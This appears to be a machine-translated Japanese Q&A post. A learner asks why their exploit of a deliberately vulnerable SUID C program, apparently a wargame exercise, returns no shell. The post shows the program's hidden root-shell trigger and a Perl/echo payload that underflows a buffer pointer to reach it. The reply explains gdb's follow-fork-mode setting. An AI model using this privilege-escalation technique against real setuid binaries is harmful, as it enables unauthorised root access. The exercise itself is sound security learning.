SUIDプログラムを利用しようとしています。
プログラムは次のとおりです。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n':
print(buf, sizeof(buf)); continue; break;
case '\\':
ptr--; break;
default:
e();
if(ptr > buf + sizeof(buf))
continue;
ptr++[0] = x; break;
}
}
printf("All done\n");
}
どういうわけか、ptrのコンテンツをCAで始まるアドレスに変更すると、新しいシェルが生成されます。そして、ptrは通常FFで始まるアドレスを保持するため、それを減らす方法(ptr)は\文字を入力することです。したがって、0x35000000の「\」文字を含むファイルを作成し、最後にファイルの最後に3つの「a」を作成します
Perl -e "print '\\\'x889192448" > file # decimal equivalent of 0x35000000
echo aaa >> file # So that e() is called which actually spawns the Shell
そして最後にgdbで、
run < file
ただし、シェルgdbを生成する代わりに
process <some number> is executing new program /bin/dash
inferior 1 exited normally
そして、シェルを取得する代わりにgdbプロンプトに戻ります。適切な場所にブレークポイントを設定することにより、setresuid()が呼び出される前にptrが実際にCAで始まることを確認しました。
また、これをgdbの外にパイプしても、何も起こりません。
./vulnProg < file
Bash Promptが戻ります。
どこで間違えているのか教えてください。
これは少し遅いかもしれませんが、プログラムがデフォルトでフォークするとき、GDBは親プロセスに接続されたままです。 GDBがフォークプロセスに従うようにするには、.gdbinitにset follow-fork-mode childを追加します。 GDBは、エクスプロイトが到達したときに生成されるシェルプロセスに従います。 gdbおよびフォークプロセスの詳細については、 https://sourceware.org/gdb/onlinedocs/gdb/Forks.html を参照してください。